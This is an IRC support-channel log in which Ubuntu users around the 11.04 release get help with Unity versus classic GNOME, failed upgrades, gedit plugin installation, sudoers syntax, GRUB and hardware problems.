[03:57] <shcherbak> skarufue: Reduce priviledges on certain application, right?
[03:57] <skarufue> greenlantern: removing ubuntu-desktop is not a problem it is just a metapackage everything will work fine
[03:57] <jbicha> doomrobo: did you try Tombody?
[03:57] <Inphernal> jbicha: I wasn't encouraging, I thought that's what he was trying to do
[03:57] <jbicha> Tomboy
[03:57] <bullgard4> bison: If you typed '~$ update-manager' and the program Update manager did not appear, then something serious is at fault. Please check your dmesg.
[03:58] <doomrobo> I don't like Tomboy
[03:58] <uberfrau> shcherbak: i extracted them and somehow they are located at /tmp/kde-Sophia/
[03:58] <nit-wit> greenlantern, what desktop do you want
[03:58] <greenlantern> gnome
[03:58] <MadRobot> KM0201, It's not about the indicator-applets themselves. What actually disappointing is having to add them from Synaptic (or the terminal).
[03:58] <linuasus6> nit-wit I unmount partition on desktop to do it in the right order but now it said that mount special device doesnt exist
[03:58] <jeregon> hello can any one tell me how to copy my old server (use to be on windows seven) to my new one (ubuntu server)? (its all in a flash drive)
[03:58] <doomrobo> something like knotes
[03:58] <shcherbak> uberfrau: There was nothing to extract
[03:58] <BiosElement> greenlantern: http://askubuntu.com/questions/28050/how-do-i-use-use-the-classic-gnome-desktop
[03:58] <KM0201> MadRobot: i agree.. i always kinda liked "right clicking the panel" and adding them.
[03:58] <KM0201> made it simple
[03:59] <greenlantern> i removed unity, aptitude remove unity
[03:59] <uberfrau> shcherbak, oh ;s
[03:59] <KM0201> MadRobot: not to mention, some of the panel applets, have not been properly implemented into indicator applets yet (like system monitor)
[03:59] <nit-wit> linuasus6, I have never seen that error open gparted and look at the partitions
[03:59] <uberfrau> are you sure O_O!!?
[03:59] <doomrobo> jbicha does knotes work for unity?
[03:59] <MadRobot> KM0201, thanks to this issue alone, I assure you that quite many of those who interested in Ubuntu will walk away from just because of that.
[03:59] <skarufue> schcherback no exactly this:  i need to allow one user to execute one specific command as one specific user other then root without entering a password. its in /etc/sudoers something along the lines of user All=(otheruser) NOPASSWD: /usr/bin/command
[03:59] <skarufue> shcherbak: but not exactly that
[03:59] <nit-wit> linuasus6, post it if you can treally the bootscript is what I need
[03:59] <jbicha> doomrobo: Tomboy is installed by default, I don't think knotes will work right with the notification icon
[04:00] <shcherbak> uberfrau: there is whole code, it is script in python: https://github.com/kassoulet/gedit-focus-autosave/blob/master/focus_autosave.py
[04:00] <KM0201> MadRobot: maybe.. it'll just take some adjusting to... unity kept giving my machine issues, so i just switched to xfce, which is similar enough to ubuntu.
[04:00] <KM0201> classic gnome
[04:00] <linuasus6> nit-wit I think I need to restart sdc is not in the list of gparted
[04:00] <doomrobo> jbicha Tomboy doesn't let me "stick" notes to the desktop, is there anything for unity that can?
[04:00] <uberfrau> shcherbak, i don't get your point
[04:00] <bison> bullgard4: ok, lots of detail, where should i paste it
[04:01] <nit-wit> linuasus6, if it is a external yeah reboot I have to be off for about 5-10 min
[04:01] <MadRobot> KM0201, I think I might do the same. :\
[04:01] <jbicha> doomrobo: not that I'm really aware of, you'll just have to try stuff and see
[04:01] <doomrobo> ok
[04:01] <jbicha> there's an app named "The Board" which may be what you want but it's not packaged for Ubuntu yet (next release)
[04:01] <Inphernal> trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:01] <KM0201> MadRobot: xfce4 is slick.. i like it... disable compositing, and its very fast (or if you've got a newer PC, it'll be fast w/ it)
[04:01] <bullgard4> !pastebin | bison
[04:01] <ubottu> bison: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[04:01] <KM0201> MadRobot: but its not as user friendly as gnome.. but i have used it before, and like it
[04:02] <MadRobot> KM0201, Yeah,
[04:02] <jbicha> Inphernal: I'm guessing you have several PPAs
[04:02] <MadRobot> I'm switching back to gnome.
[04:02] <linuasus6> brb
[04:02] <skarufue> Does anyone know the sudoers syntax. i need to allow one user to execute, one specific command, as one specific user, other then root, without entering a password. and i wonder if anyone speaks that synthetic language this config is written in and can help me out.
[04:02] <shcherbak> uberfrau: From link I gave you, yes you right there is tar (too lazy with clicking.)
[04:03] <MadRobot> So how do I switch back to Gnome.
[04:03] <dabbish2> was just reading about Mark Shuttleworth, respect
[04:03] <uberfrau> shcherbak, it's okay, you're trying to help <3
[04:03] <shcherbak> uberfrau: OK, locate focus_autosave.py
[04:03] <dabbish2> what a guy
[04:03] <Inphernal> jbicha: I'm pretty sure I removed all but the original ones, how can I check and let you know which I have
[04:03] <jbicha> Inphernal: you could paste.ubuntu.com your sources.list
[04:04] <uberfrau> shcherbak, i just told you where i extracted them to (pretty sure i accidentally clicked on something wrong when choosing the extraction location/files with ark)
[04:04] <bison> bullgard4: http://paste.ubuntu.com/601578/
[04:04] <shcherbak> uberfrau: cd to that directory
[04:04] <uberfrau> sure, sec
[04:05] <jbicha> Inphernal: /etc/apt/sources.list
[04:05] <doomrobo> jbicha knotes seems to work
[04:05] <jbicha> cool
[04:05] <Inphernal> jbicha: Got it, kept opening in a funny window not allowing me to copy. http://paste.ubuntu.com/601579/
[04:06] <harushimo> does ubuntu have python 2.7 on repositories?
[04:06] <Logan_> !classic | MadRobot
[04:06] <ubottu> MadRobot: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[04:06] <jbicha> harushimo: yes, python 2.7 is default for 11.04
[04:06] <uberfrau> shcherbak: k, in the directory that i extracted the tarball into now =)
[04:07] <jbicha> Inphernal: oh I forgot that PPA repos aren't stored in that file
[04:08] <jbicha> I'm not really sure how to walk you through upgrading safely; I think it's the PPAs that are causing an issue but not sure
[04:08] <harushimo> I'm running 10.04 LTS
[04:08] <harushimo> is it available for that
[04:08] <shcherbak> uberfrau: OK, just pulled gedit to make sure it works, cd kass<TAB>
[04:08] <uberfrau> wait what?
[04:08] <Logan_> !info python lucid | harushimo
[04:08] <ubottu> harushimo: python (source: python-defaults): An interactive high-level object-oriented language (default version). In component main, is important. Version 2.6.5-0ubuntu1 (lucid), package size 144 kB, installed size 640 kB
[04:09] <Inphernal> jbicha: I'm looking in the repositories section in synaptic package manager, and it seems the wine, firefox, and a couple other http://ppa.launchpad... are still there, even though I clicked remove on all of them, is there a specific way I need to do this?
[04:09] <bison> bullgard4: http://paste.ubuntu.com/601578/
[04:09] <harushimo> I know python 2.6.5 is for lucid. why isn't only available for unity and lucid
[04:09] <harushimo> I mean not lucid
[04:09] <uberfrau> shcherbak, I'm confused as to what you want me to do now
[04:10] <jeregon> hello can any one tell me how to copy my old server (use to be on windows seven) to my new one (ubuntu server)? (its all in a flash drive)
[04:10] <Logan_> harushimo: Python 2.7 wasn't built to work on Natty, or the other way around.
[04:10] <Logan_> *Lucid
[04:10] <jeregon> this are files im talking about
[04:10] <pksadiq> !info python2.7 lucid | harushimo
[04:10] <jbicha> Inphernal: sorry, I'm just not sure how to walk you through the upgrade safely
[04:10] <ubottu> harushimo: Package python2.7 does not exist in lucid
[04:11] <harushimo> that make sense
[04:11] <Logan_> harushimo: You can build from source, but that's not really recommended.
[04:11] <jbicha> I've forced upgrades on my computer but I don't think that's good advice for me to be giving here
[04:11] <Inphernal> jbicha: That's ok, thank you for trying
[04:11] <kyi> mount your flash drive and cp them over
[04:11] <bison> what is E: Sub-process /usr/bin/dpkg returned an error code (1)
[04:11] <harushimo> right
[04:11] <Ultimate_Chaos> cant restart form the terminal
[04:11] <Ultimate_Chaos> i need to thoiugh
[04:11] <MadRobot> Hi all
[04:11] <shcherbak> uberfrau: are you KDE?
[04:11] <Juest> sudo reboot
[04:12] <Ultimate_Chaos> how do you do it?
[04:12] <Juest> Ultimate_Chaos: try that
[04:12] <jeregon> kyi: sorry but im new were exactly is the flash drive mounted?
[04:12] <Ultimate_Chaos> ooh okau
[04:12] <kyi> it prolly will automount
[04:12] <shcherbak> Ultimate_Chaos: sudo reboot
[04:12] <pksadiq> harushimo: search for launchpad PPAs for python 2.7 for lucid
[04:12] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:12] <jeregon> kyi: ok but what directorie?
[04:12] <kyi>  /media/NAME_OF_DRIVE
[04:12] <mrl> Hi, I'm having an issue since upgrading to 11.04, my startup screen is 'Out of Range'. Wouldn't be an issue, except something is hanging during bootup, and I can't see what it is.... Is there a way to change to change the resolution in a config file etc (can use a live usb ok).
[04:12] <harushimo> ok
[04:12] <jeregon> ok
[04:12] <uberfrau> shcherbak: yes
[04:13] <jeregon> my crive is not named
[04:13] <jeregon> drive
[04:13] <Logan_> harushimo: I found a PPA, if you want to try it out: https://launchpad.net/~fkrull/+archive/deadsnakes
[04:13] <kyi> it will be called something in that directory
[04:14] <harushimo> thank you
[04:14] <tortoise> Hey, how easy is it to upgrade to 11.04 (from 10.04) without losing all of my files?
[04:14] <shcherbak> uberfrau: Can you post on paste.ubuntu.com output of: locate gedit (dont know path for plugins in kde)
[04:14] <harushimo> i'll try it out
[04:15] <harushimo> thank you
[04:15] <uberfrau> shcherbak, sure, but keep in mind i have to create the path for plugins i think
[04:15] <bison> what is E: Sub-process /usr/bin/dpkg returned an error code (1)
[04:15] <agbagb> hello!
[04:15] <shcherbak> uberfrau: Just plugin directory in right place
[04:16] <econdudeawesome> Howdy all! I messed up my unity a little bit. I was playing around in CCSM and tried to enable ring-switcher. Now my top panel is just black--nothing there. Any ideas?
[04:16] <uberfrau> shcherbak, ? so you don't want the paste to see the path of gedit? or am i misunderstanding you
[04:16] <agbagb> is somebody here?
[04:16] <shcherbak> uberfrau: Yes I want
[04:16] <luigi_panache> So after upgrading the server from 10.10 to 11.04, I get a bunch of error messages concerning message of the day.
[04:16] <agbagb> please i need help :S
[04:16] <Gus81> hello, i need help for ubuntu 11.04
[04:16] <luigi_panache> Anyone know how fix that?
[04:16] <s093294> I cant change display output to hdmi, it dont show up in the monitors settings. Anyone have any idea ?
[04:16] <uberfrau> k sec
[04:17] <Juest> !guidelines | agbagb
[04:17] <ubottu> agbagb: The guidelines for using the Ubuntu channels can be found here: http://wiki.ubuntu.com/IRC/Guidelines
[04:17] <Gus81> my english is very bad, i speak spanish, sorry
[04:17] <Juest> gus
[04:17] <cfedde> your english is better than my spanish.
[04:17] <Gus81> Juest, si, no consigo solucionarlo
[04:17] <sony_> how can i add application to startup at boot, there does'nt seem to be an option in system settings ps i'm on gnome 3 there is no system preference sessions
[04:17] <Juest> gus raja
[04:17] <shcherbak> uberfrau: Skip it, just cd to directory with untared pligin
[04:17] <shcherbak> *plugin
[04:18] <Juest> Gus81 PM!
[04:18] <tortoise> do I need to upgrade to 10.10 before I upgrade to 11.04?
[04:18] <agbagb> i have an issue with my monitor, when i was trying the lice cd, my monitor turns off the backlight, and i can't see anythig please help
[04:18] <luigi_panache> tortoise: AFAIK upgrading from an LTS distro always works.
[04:18] <peeps[lappy]> what is the default theme in 11.04?  I upgraded from 10.10 and having some issues with very low contrast between font and background, just wanted to see if I was using the right theme
[04:18] <econdudeawesome> Howdy all! I messed up my unity a little bit. I was playing around in CCSM and tried to enable ring-switcher. Now my top panel is just black--nothing there. Any ideas? I am still able to access the buttons/info up there, just all black
[04:18] <luigi_panache> tortoise:  Or at least, it'll run
[04:19] <uberfrau> shcherbak, go to the directory which contains the tarball? o.o
[04:19] <agbagb> i have an issue with my monitor, when i was trying the live cd, my monitor turns off the backlight, and i can't see anythig please help
[04:19] <tortoise> alright, and just another question until I think of another. Does this page load for you guys http://novemberblue.-tumblr.com ? If yes, what browser/distro are you usin?
[04:19] <tortoise> using*
[04:19]  * Juest kicks Gus81
[04:19] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:20] <shcherbak> uberfrau: Rather untarred stuff, or unpask it
[04:20] <shcherbak> *unpack
[04:20] <MK```> tortoise: need to remove the dash
[04:20] <jeregon> kyi: its not in that directory
[04:20] <MadRobot> Why removing compizconfig-settings-manager from the repositories??! :S
[04:20] <uberfrau> oh
[04:20] <agbagb> i have an issue with my monitor, when i was trying the live cd, my monitor turns off the backlight, and i can't see anythig please help
[04:21] <uberfrau> shcherbak: so you meant the location of the extracted files?
[04:21] <bison> what is E: Sub-process /usr/bin/dpkg returned an error code (1)
[04:21] <shcherbak> uberfrau: Yes
[04:21] <DingGGu> how to upgrade 10.04 to 11.04?
[04:21] <econdudeawesome> bison: I had that error a bit ago. Perhaps something has a lock on debconf?
[04:21] <uberfrau> k
[04:21] <agbagb> i have an issue with my monitor, when i was trying the live cd, my monitor turns off the backlight, and i can't see anythig please help
[04:21] <Inphernal> DingGGu: Run Update Manager
[04:21] <gartral> DingGGu: do-dist-upgrade
[04:21] <luigi_panache> tortoise: I can't get it with lynx on Ubuntu 11.04 server
[04:21] <uberfrau> k shcherbak i'm there
[04:22] <trism> MadRobot: it's in the repos
[04:22] <MadRobot> DingGGu, Trust me dude. No offense to the Ubuntu team but 11.04 simply sucks. Big time. -_-
[04:22] <sahil> can any1 help me i crashed my unity
[04:22] <zoidfarb> Hey, I'm nterested in switching from Ubuntu to Xubuntu. I've already installed xubuntu-desktop, does anyone know what gnome packages I can remove?
[04:22] <shcherbak> uberfrau: can you ls (if you see kassou... cd into it)
[04:22] <bison> econdudeawesome: did you fixed it
[04:22] <zoidfarb> Or can you give me a link for switching to Xubuntu without doing a full reinstall?
[04:22] <uberfrau> shcherbak, sec
[04:23] <MadRobot> trism, When I tried to install simple-ccsm, it said there are some unmet dependencies. That was one of them.
[04:23] <uberfrau> oh shcherbak, i am already in kassou...
[04:23] <tortoise> MK```: Then the page isn't found?
[04:23] <uberfrau> i typed cd when in the above directory, and just copy+pasted in the name of it lol
[04:23] <MK```> no it worked for me tortoise, without the dash. With the dash, 404
[04:23] <trism> !info compizconfig-settings-manager | MadRobot
[04:23] <ubottu> MadRobot: compizconfig-settings-manager (source: compizconfig-settings-manager): Compiz configuration settings manager. In component universe, is extra. Version 0.9.4-0ubuntu2 (natty), package size 1181 kB, installed size 5756 kB
[04:24] <shcherbak> uberfrau: sudo cp * /usr/lib/gedit-2/plugins/
[04:24] <tortoise> MK```: Oh I just tried it with the dash. And yes it does work, however it's the wrong page.
[04:24] <uberfrau> trying, sec
[04:24] <TrevorBradley2> Help!  Whats the new keyboard command in mythbuntu 11.04 to bring up the applications menu?
[04:24] <MadRobot> trism, It's already installed??
[04:24] <tortoise> MK```: the page works fine in W7, so I just don't understand why it won't load in ubuntu?
[04:25] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:25] <shcherbak> uberfrau: thats it, you can remove makefile, and readme from /usr/lib/gedit-2/plugins/ and any other stuff you downloaded.
[04:25] <trism> MadRobot: although it does appear that simple-ccsm is broken at the moment
[04:25] <dtulchin> is there a way to fix ubuntu 11.04 from the live-cd?
[04:25] <uberfrau> shcherbak: nothing happened when i did that command, other than asking me for my pw
[04:25] <econdudeawesome> For all those that read the logs and are in a similar situation: disable and reenable expo, resolve the errors in favor of expo, disable ring switcher, logout, log back in, good to go
[04:25] <MK```> no idea tortoise
[04:25] <MadRobot> trism, Oh I see.
[04:25] <econdudeawesome> toodles!
[04:25] <TrevorBradley2> Alternately, whats the keyboard command to start up the virtual mouse?
[04:25] <nit-wit> zoidfarb, take a look at this and the playing round section in the lower left. http://www.psychocats.net/ubuntu/purexfce
[04:25] <nit-wit> *around
[04:26] <agbagb> Please help me. My problem is with Ubuntu 11.04, when i was trying the Live Cd / Live USB, just when the Ubuntu Splash appears, My monitor turns the backlight off, nad i can't see anything on my monitor, but if i connect another monitor to my laptop, Ubuntu loads normally, I have tried the dist-upgrade also, but i got the same issue, so i've lost my System. Please somebody can help me?
[04:26] <MadRobot> trism, it seems like everything is broken at the moment. The whole Ubuntu system is broken at the moment. :P
[04:26] <KM0201> agbagb: what is your graphics device?
[04:26] <tortoise> Does anyone have any clue why Firefox 4 won't open pages with hyphens in them on Lucid? Because I feel like I'm the only one that has ever had this issue.
[04:26] <dtulchin> is there a way to repair ubuntu 11.04 from live-cd?
[04:26] <MK```> zoidfarb: perhaps removing the ubuntu-desktop metapackage, but I don't know if I can recommend that safely heh
[04:27] <KM0201> dtulchin: depends on what you need to repair
[04:27] <shcherbak> uberfrau: good, ls -l /usr/lib/gedit-2/plugins/ to see your plugin
[04:27] <dtulchin> all the packages
[04:27] <agbagb> KM0201 please wait :) i'm searching
[04:27] <dtulchin> during upgrade...possible that packages got damaged
[04:27] <dtulchin> my internet fell
[04:27] <TrevorBradley2> No love for those of us  with mouseless systems, I guess.  I can't even use alt-f2 to open a terminal!?!
[04:27] <dtulchin> during the upgrade
[04:27] <uberfrau> shcherbak, i restarted gedit, and the plugin 'focus autosave' is in the list, but it's blacked out
[04:28] <nit-wit> dtulchin, what happend when hyou boot can you get a command line
[04:28] <symaxian> Is there a bug with 11.04/Unity/Nvidia 270 with using a second monitor as a separate x screen?
[04:28] <dtulchin> yes
[04:28] <linuasus6> nit-wit http://pastebin.com/rav4u1M8
[04:28] <symaxian> Twinview works but the other fails
[04:28] <nit-wit> linuasus6, cool
[04:28] <uberfrau> shcherbak, maybe the path in that command needs to be replaced with the path in the README?
[04:29] <dtulchin> everything loads fine...for some reason my sources.list didnt get updated
[04:29] <Gus81> anyone can help me?
[04:29] <MK```> zoidfarb: still there?
[04:29] <Gus81> http://imagebin.org/151094
[04:29] <Gulfstream> I am experiencing issues playing DVDs. I installed the plugin, and the video slightly works, but the image doesn't look good and the audio skips. How do I fix this?
[04:29] <Gus81> (spanish)
[04:30] <dtulchin> nit-wit: my sources list didnt get updated
[04:30] <dtulchin> nit-wit: any ideas?
[04:30] <uberfrau> Gulfstream, do you have codecs n stuff?
[04:30] <nit-wit> linuasus6, run this script and pastebin it.
[04:30] <shcherbak> uberfrau: See it, one moment
[04:30] <uberfrau> shcherbak, sure =D
[04:30] <Gulfstream> uberfrau: Yes
[04:30] <jeregon> hello can any one tell me how to copy my old server (use to be on windows seven) to my new one (ubuntu server)? (its all in a flash drive)
[04:31] <nit-wit> linuasus6, darn mouse http://bootinfoscript.sourceforge.net/
[04:31] <uberfrau> Gulfstream: idk, i've never had issues with any file formats thus far (Kubuntu 10.10 user)
[04:31] <symaxian> easiest way to restart x?
[04:31] <dtulchin> is there a way to fix 11.04 completely?
[04:31] <uberfrau> sure it isn't your hardware?
[04:31] <Gulfstream> uberfrau: I think it may be the hardware
[04:31] <n2diy> when I mouse over a todo item in korganizer the info box displays black text on a black backround, where can I change this?
[04:31] <nit-wit> dtulchin, how do you know this you didn't answer my actual question
[04:31] <dtulchin> i can run command line
[04:32] <Gulfstream> uberfrau: should I try to clean the lense?
[04:32] <TrevorBradley2> Is there a new list of keyboard shortcuts for 11.04 somewhere?
[04:32] <nit-wit> dtulchin, cool can you actually boot in?
[04:32] <dtulchin> yes
[04:32] <uberfrau> Gulfstream: you could try playing the same sort of stuff with a different distro
[04:32] <dtulchin> nit-wit: yes
[04:32] <uberfrau> and idk about lense cleaning, so I can't advise you on that
[04:32] <Gulfstream> uberfrau: the video didn't work no matter which movie or OS
[04:33] <TrevorBradley2> The only shortcut I can seem to get working in mythbuntu is alt-f4 to log out of the system.
[04:33] <uberfrau> oh, then that is a strong indication that it is hardware
[04:33] <nit-wit> dtulchin, so are you sure it actually started to load the upgrade and didn't fail at the download
[04:33] <Gulfstream> yes
[04:33] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:33] <agbagb> KM0201 i have Intel Graphics Media Accelerator (GMA) 4500MHD adapter
[04:33] <dtulchin> nit-wit: it failed during the downloading of the upgrade
[04:33] <linuasus6> nit-wit is example script with what I replace it
[04:34] <dtulchin> nit-wit: i then restarted it and finished
[04:34] <uberfrau> try to see if there is any sort of pattern to the disruption to the video, and see if it matches commonly reported symptoms of issues online. That's all i can say really, i'm no expert, i just read a lot of random information.
[04:34] <agbagb> my laptop is a Acer eMachines E525-902G16Mi
[04:34] <KM0201> agbagb: i'm not sur eon that device, i kinda thought intels "just worked" w/ linux (at least mine does)
[04:34] <TrevorBradley2> ping check, is my irc working at all?? :)
[04:34] <nit-wit> linuasus6, the bootscript is run to generate a text file to pastebin
[04:35] <Inphernal> TrevorBradley2: We see you
[04:35] <TrevorBradley2> Thanks Inphernal.
[04:35] <nit-wit> dtulchin, cool I was just going to give you a command to inlock t and finish hopefully.;)
[04:35] <nit-wit> *unlock
[04:35] <TrevorBradley2> I'm a sad narwhal today I guess. :(
[04:35] <linuasus6> nit-wit so I download the thing
[04:36] <ohsix> o hai
[04:36] <sahil> my unity crashed no help from irc either!
[04:36] <agbagb> KM 0201 mmm but its so odd that issue, any suggestions?
[04:36] <sahil> :(
[04:36] <dtulchin> nit-wit: when i boot from the cd, i get options: try ubuntu, and install ubuntu...nothing about repairing ubuntu
[04:36] <agbagb> KM0201 mmm but its so odd that issue, any suggestions?
[04:36] <nit-wit> linuasus6, yeah download the script on the live cd drag it to the desktop and run this command.sudo bash ~/Desktop/boot_info_script*.sh
[04:36] <KM0201> agbagb: you can try starting the kernel w/ some variables, like maybe nomodset   or something lik,e that, see if that gets your display to work
[04:36] <KM0201> !nomodset
[04:36] <KM0201> oops
[04:37] <nit-wit> linuasus6, opps this command sudo bash ~/Desktop/boot_info_script*.sh
[04:37] <nit-wit> dtulchin, I thought it was fixed
[04:37] <shcherbak> uberfrau: OK, plugin do not load, will try to find different version, Don't you want to use vim?
[04:37] <dtulchin> nit-wit: i am running a damaged 11.04
[04:38] <TrevorBradley2> I'm wondering if I screwed up the install over keyboard shortcuts not working... Is it abnormal for them not to be?
[04:38] <DingGGu> gartral: end?
[04:38] <nit-wit> dtulchin, there is no real repair for a whole system, you may need to just back it up or use the UBuntu Forums to be honest I wont really touch it to many outlires
[04:38] <annath> ok. I just installed 11.04 and I already broke unity. >_< I tried to enable desktop cube through compiz-config. broke some stuff. Tried to reset back to defaults using that, and now I can't seem to get the top/side bars back. I can get windows to come up by using different methods such as creating launchers on my desktop, so I've got chrome and a terminal, but I can't get the top and side bars to show up again
[04:38] <linuasus6> nit-wit http://pastebin.com/zHNd4DTf
[04:38] <annath> :(
[04:39] <nit-wit> linuasus6, cool hold on
[04:39] <uberfrau> shcherbak, plugin didn't load, what do you mean? :o and idk about using vim yet, while I'm still learning to program :/
[04:39] <shcherbak> uberfrau: And have bug: http://mailrepository.com/desktop-bugs.lists.ubuntu.com/msg/3519748/
[04:40] <linuasus6> is 6 years I use ubuntu but they change 4 time the grub, thank for helping nit-wit
[04:40] <TrevorBradley2> Guess I've got to figure this one one on my own... :(  thanks for your ti,e
[04:40] <uberfrau> shcherbak, oh...this plugin was featured in a link from the official ubuntu site, under the entry for gedit :(
[04:40] <alien-007> my empathy dont have the option to save or not save logs,,can i upgrade,,is not on sypnatic
[04:41] <Adys> can anyone running chrome pastebin me their /etc/apt/sources.list.d/google-chrome.list? I lost mine
[04:41] <dtulchin> nit-wit: thats dissapointing
[04:41] <alien-007> it just save logs,,i dont like that at all,,can i add repository for empathy in sypnatic so i can get an update
[04:41] <dtulchin> nit-wit: so my only other option is to reinstall an entire os?
[04:41] <uberfrau> shcherbak, this plugin isn't critical, it was more about the process of learning how to install plugins, which i sort of know how to do now (though i haven't created the requisite directory yet)
[04:42] <duckx0r> i have a computer running ubuntu 10.10 on it and it was working fine up until a few days ago when the USB keyboard stopped working however it does work in the BIOS. How can I troubleshoot this?
[04:42] <uberfrau> if you could find another plugin that does the same thing, i would love it, however
[04:42] <dtulchin> duckx0r: is it a desktop or laptop?
[04:42] <uberfrau> and should i look into vim? ;o
[04:42] <shcherbak> uberfrau: Well, this one was fatal...
[04:42] <nit-wit> dtulchin, reload or wait for help that may not appear the IRC is sort of specialized for specifics, the forums may be motr helpful
[04:42] <duckx0r> dtulchin, desktop
[04:43] <uberfrau> shcherbak, well it shouldn't be featured on that site then D:
[04:43] <dtulchin> duckx0r: have you recently upgraded anything in your computer?
[04:43] <Name141> How do I install flash on AMD 64bit ?
[04:43] <duckx0r> dtulchin, nothing for months
[04:43] <zoidfarb> MK``, removing that meta-package doesn't automatically remove the things it depends on
[04:43] <linuasus6> nit-wit nice this script I have see something similar for grub but not like that
[04:43] <uberfrau> and the reason i'm not using a fully featured environment is that i want to learn how to just focus on the code with a plain text-editor first...
[04:43] <dtulchin> duckx0r: try a different usb port
[04:43] <nit-wit> linuasus6, I don't see the OS in sdc5 but the grub menu is there I am not sure what is going on, you may want to opost the script at the Ubuntu forums if you get no answers here.
[04:43] <shcherbak> uberfrau: That may be version problem
[04:43] <duckx0r> dtulchin, yes
[04:44] <Name141> !flash
[04:44] <ubottu> To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - See also  !Restricted and !Gnash
[04:44] <linuasus6> nit-wit theres no os on sdc5 is a /boot partitions
[04:44] <Inphernal> http://www.blizzhackers.cc/viewtopic.php?t=448729
[04:44] <Inphernal> Oops, sorry lol
[04:45] <uberfrau> shcherbak, i have no idea
[04:45] <nit-wit> linuasus6, why are you using a boot partition
[04:45] <uberfrau> i did just spend almost 3 hours trying to do this :(
[04:45] <duckx0r> dtulchin, i just switched to tty1 and I see that error messages about USB are being spit out every 10 seconds or so
[04:45] <uberfrau> at least i learned a couple of things about the file system :/
[04:45] <linuasus6> because this external disk when I plug to every pc I can boot on linux
[04:45] <freaky[t]> hi all. how can i put a java application into my launcher somewhere?
[04:46] <jetole> Hey guys. I just upgraded from 10.10 to 11.04 and I don't know if I am in unity or gnome3 but does anyone know how I can revert to gnome2 / the gnome I had before the upgrade?
[04:46] <freaky[t]> jetole: log out and then select ubuntu classic in gdm on the bottom
[04:46] <freaky[t]> and then log back in
[04:46] <jetole> freaky[t]: thanks. Let me try
[04:47] <linuasus6> jetole no upgrade isnt reversible
[04:47] <thebigham> How can i find the mouse # for the buttons on my mouse?
[04:47] <uberfrau> shcherbak, thanks for the help anyhoo. I'm using pidgin, and i'm going to leave this open as a tab  in case i have any questions =)
[04:47] <duckx0r> dtulchin, looks like it's probably a hardware problem, unfortunately
[04:48] <nit-wit> linuasus6, I'm not familiar with boot partitions, but in the partition has to be the grub files normally in the OS, basically.
[04:48] <fr00g> I'm using Unity 2D, can anybody tell me if it's possible to enable a full screen Dash?
[04:48] <jetole> freaky[t]: thank god that did the trick
[04:48] <jetole> linuasus6: see freaky[t]'s comment
[04:48]  * vultraz has found some 11.04 bugs
[04:48] <vultraz> who to talk to
[04:48] <huynh98> Hi. I have a quick question. Is there any way to improve the predictability search results for alt-f2 for executables. It seems to have gotten worse from 10.10 to 11.04
[04:49] <freaky[t]> jetole: np ;D
[04:49] <huynh98> predictability of*
[04:49] <jetole> freaky[t]: seriously. That freaked me out. I knew ubuntu was moving to unity but I kind of didn't expect a change on upgrades
[04:49] <abhinav> jetole: actually gnome3 upgrade isn't reversible. But 11.04 doesn't upgrade your gnome 2 go gnome3 by default. Gnome3 can be installed only by adding PPA
[04:49] <moonchild> hey guys
[04:49] <linuasus6> nit-wit so what I do reinstall ubuntu so I will have a new grub
[04:49] <dreamon> Hello. since update to natty getting -> resume: could not stat the resume device file /dev/sdb7 -> thats right swap is /dev/sda7 -> changed /etc/fstab and /etc/uswsusp.conf to correct path.but still brings at boot /dev/sdb7 .. confused
[04:49] <moonchild> I have a couple of questions about the new version of ubuntu
[04:49] <freaky[t]> jetole: ;)
[04:50] <bimble> I have a problem that my box won't come out of suspend:  (11.04)  box powers up, but no response from screen or keyboard/mouse.  Havn't found a solution yet, has anyone seen similar?
[04:50] <jetole> abhinav: thats fascinating not that I asked
[04:50] <moonchild> specifically whether it is possible to disable the global menu bar while using the unity UI
[04:50] <jetole> I don't get it. freaky[t] answered my question followed by two people who seem to think it couldn't be done. weird
[04:50] <Inphernal> Hey all, trying to upgrade 10.10 64bit to 11.04, I get "E:Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages." after waiting a while during "setting new software channels" step of upgrader
[04:51] <vultraz> where do i report 11.04 bugs?
[04:51] <freaky[t]> jetole: ;)
[04:52] <nit-wit> linuasus6, no but it is hard to tell what is actually there a lot is missing, you will really be best served at the Ubuntu forums.
[04:52] <freaky[t]> vultraz: https://help.ubuntu.com/community/ReportingBugs
[04:52] <jetole> Inphernal: run this and tell me if you get results: dpkg --get-selections | sed -e '/hold$/!d'
[04:52] <moonchild> can anyone tell me if its possible, or link me to instructions on how to disable the global menubar piece of unity?
[04:53] <abhinav> jetole, was just clarifying that we *can* revert from unity to gnome-2 as folks have mentioned - which is what a lot of us have done first thing after upgrading. Both unity and gnome2 are installed. However, if we upgrade that gnome2 to gnome3, then unity is broken, plus gnome3 cannot be easily moved back to gnome2. (This is for your as well as other's benefit, as I had the same confusion couple of days back)
[04:53] <nit-wit> linuasus6, take a lok at my set up you will see what  mean. http://pastebin.com/XaJeWzgr
[04:53] <Inphernal> jetole: Nothing
[04:54] <Name141> !nvidia
[04:54] <ubottu> For Ati/NVidia/Matrox video cards, see https://help.ubuntu.com/community/VideoDriverHowto
[04:54] <jetole> Inphernal: well that was just checking for any packages on your system which may have had a hold on them so if nothing then I don't know what the next step would be to debug it
[04:55] <moonchild> I actually do want to kick the tires on unity, but *don't* want it to feel more like OSX than widows
